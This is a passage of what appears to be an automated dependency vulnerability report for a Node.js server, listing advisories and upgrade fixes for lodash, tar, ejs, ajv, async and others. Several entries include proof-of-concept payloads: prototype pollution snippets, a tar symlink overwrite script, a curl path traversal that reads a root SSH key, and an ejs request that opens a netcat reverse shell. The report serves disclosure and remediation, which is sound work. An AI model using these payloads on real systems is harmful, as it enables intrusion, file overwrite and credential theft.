Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ajv to version 6.14.0, 8.18.0 or higher.
References
high severity
- Vulnerable module: body-parser
- Introduced through: grunt-contrib-watch@1.0.0 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › body-parser@1.17.1Remediation: Upgrade to sails@1.1.0.
Overview
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the extendedparser and urlencoded functions when the URL encoding process is enabled. An attacker can flood the server with a large number of specially crafted requests.
Remediation
Upgrade body-parser to version 1.20.3 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function zipObjectDeep can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
PoC
const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123]);
console.log(z); // 123
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.20 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to nodegit@0.24.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to nodegit@0.23.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient symlink protection.
node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic is insufficient when extracting tar files that contain both a directory and a symlink with the same name as the directory. This order of operations results in the directory being created and added to the node-tar directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped.
However, this is also where node-tar checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location.
Remediation
Upgrade tar to version 3.2.3, 4.4.15, 5.0.7, 6.1.2 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to nodegit@0.24.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to nodegit@0.23.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient absolute path sanitization.
node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the preservePaths flag is not set to true. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example, the path /home/user/.bashrc would turn into home/user/.bashrc.
This logic is insufficient when file paths contain repeated path roots such as ////home/user/.bashrc. node-tar only strips a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. ///home/user/.bashrc) still resolves to an absolute path.
Remediation
Upgrade tar to version 3.2.2, 4.4.14, 5.0.6, 6.1.1 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.10 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.
PoC
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.11 or higher.
References
high severity
- Vulnerable module: underscore
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › geojsonhint@1.2.1 › jsonlint-lines@1.7.1 › nomnom@1.8.1 › underscore@1.6.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › anchor@0.11.6 › @mapbox/geojsonhint@2.0.1 › jsonlint-lines@1.7.1 › nomnom@1.8.1 › underscore@1.6.0
Overview
underscore is a JavaScript's functional programming helper library.
Affected versions of this package are vulnerable to Uncontrolled Recursion through the _.flatten() or _.isEqual() functions that are used without a depth limit. An attacker can cause the application to crash or become unresponsive by supplying deeply nested data structures as input, leading to stack exhaustion.
Workaround
This vulnerability can be mitigated by enforcing a depth limit on data structures created from untrusted input (e.g., limiting nesting to 1000 levels or fewer), or by passing a finite depth limit as the second argument to the _.flatten() function.
Remediation
Upgrade underscore to version 1.13.8 or higher.
References
high severity
- Vulnerable module: yarn
- Introduced through: yarn@0.27.5
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5Remediation: Upgrade to yarn@1.17.3.
Overview
yarn is a package for dependency management.
Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Npm credentials such as _authToken were found to be sent over clear text when processing scoped packages that are listed as resolved. This could allow a suitably positioned attacker to eavesdrop and compromise the sent credentials.
Remediation
Upgrade yarn to version 1.17.3 or higher.
References
high severity
- Vulnerable module: ajv
- Introduced through: webpack@2.7.0 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › ajv@4.11.8Remediation: Upgrade to webpack@3.11.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › har-validator@4.2.1 › ajv@4.11.8
Overview
ajv is an Another JSON Schema Validator
Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade ajv to version 6.12.3 or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: ejs@2.3.4 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ejs@2.3.4Remediation: Upgrade to ejs@2.5.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › ejs@2.3.4Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › ejs-locals@1.0.2 › ejs@0.8.8
Overview
ejs is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Remote Code Execution by letting the attacker under certain conditions control the source folder from which the engine renders include files.
You can read more about this vulnerability on the Snyk blog.
There's also a Cross-site Scripting & Denial of Service vulnerabilities caused by the same behaviour.
Details
ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template, data, and options:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the root option, which allows changing the project root for includes with an absolute path.
ejs.renderFile('my-template', {root:'/bad/root/'}, callback);
By passing along the root directive in the line above, any includes would now be pulled from /bad/root instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.
The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.
Disclosure Timeline
- November 27th, 2016 - Reported the issue to package owner.
- November 27th, 2016 - Issue acknowledged by package owner.
- November 28th, 2016 - Issue fixed and version
2.5.3released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface.
Otherwise, Upgrade ejs to version 2.5.3 or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: ejs@2.3.4 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ejs@2.3.4Remediation: Upgrade to ejs@3.1.7.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › ejs@2.3.4Remediation: Upgrade to sails@1.5.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › ejs-locals@1.0.2 › ejs@0.8.8
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
Remediation
Upgrade ejs to version 3.1.7 or higher.
References
high severity
- Vulnerable module: js-yaml
- Introduced through: css-loader@0.25.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › js-yaml@3.5.5Remediation: Upgrade to grunt@1.0.4.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › js-yaml@3.5.5Remediation: Upgrade to sails@1.0.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable toString() property used as a map key, it will execute that function. This happens only for load(), which should not be used with untrusted data anyway. safeLoad() is not affected because it can't parse functions.
Remediation
Upgrade js-yaml to version 3.13.1 or higher.
References
high severity
- Vulnerable module: xmlhttprequest-ssl
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › engine.io-client@1.8.3 › xmlhttprequest-ssl@1.5.3Remediation: Upgrade to sails@1.0.0.
Overview
xmlhttprequest-ssl is a fork of xmlhttprequest.
Affected versions of this package are vulnerable to Arbitrary Code Injection. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.
POC
const { XMLHttpRequest } = require("xmlhttprequest")
const xhr = new XMLHttpRequest()
xhr.open("POST", "http://localhost.invalid/", false /* use synchronize request */)
xhr.send("\\');require(\"fs\").writeFileSync(\"/tmp/aaaaa.txt\", \"poc-20210306\");req.end();//")
Remediation
Upgrade xmlhttprequest-ssl to version 1.6.2 or higher.
References
high severity
- Vulnerable module: bl
- Introduced through: zip-folder@1.0.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › tar-stream@0.4.7 › bl@0.9.5
Overview
bl is a library that allows you to collect buffers and access with a standard readable buffer interface.
Affected versions of this package are vulnerable to Uninitialized Memory Exposure. If user input ends up in consume() argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.
PoC by chalker
const { BufferList } = require('bl')
const secret = require('crypto').randomBytes(256)
for (let i = 0; i < 1e6; i++) {
const clone = Buffer.from(secret)
const bl = new BufferList()
bl.append(Buffer.from('a'))
bl.consume(-1024)
const buf = bl.slice(1)
if (buf.indexOf(clone) !== -1) {
console.error(`Match (at ${i})`, buf)
}
}
Remediation
Upgrade bl to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.
References
high severity
- Vulnerable module: yarn
- Introduced through: yarn@0.27.5
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5Remediation: Upgrade to yarn@1.22.13.
Overview
yarn is a package for dependency management.
Affected versions of this package are vulnerable to Untrusted Search Path. An attacker can execute arbitrary code by placing a malicious executable file in a directory that is then searched by the victim running certain commands.
Note: This is only exploitable on Windows.
Remediation
Upgrade yarn to version 1.22.13 or higher.
References
high severity
- Vulnerable module: async
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › async@2.0.1Remediation: Upgrade to sails@1.1.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the mapValues() method, due to improper check in createObjectIterator function.
PoC
//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))
const hasOwn = JSON.parse('{"__proto__": {"isAdmin": true}}');
//does not have the property, because it's inside object's own "__proto__"
console.log(hasOwn.isAdmin);
async.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {
// after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.
console.log(result.isAdmin);
});
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade async to version 2.6.4, 3.2.2 or higher.
References
high severity
- Vulnerable module: braces
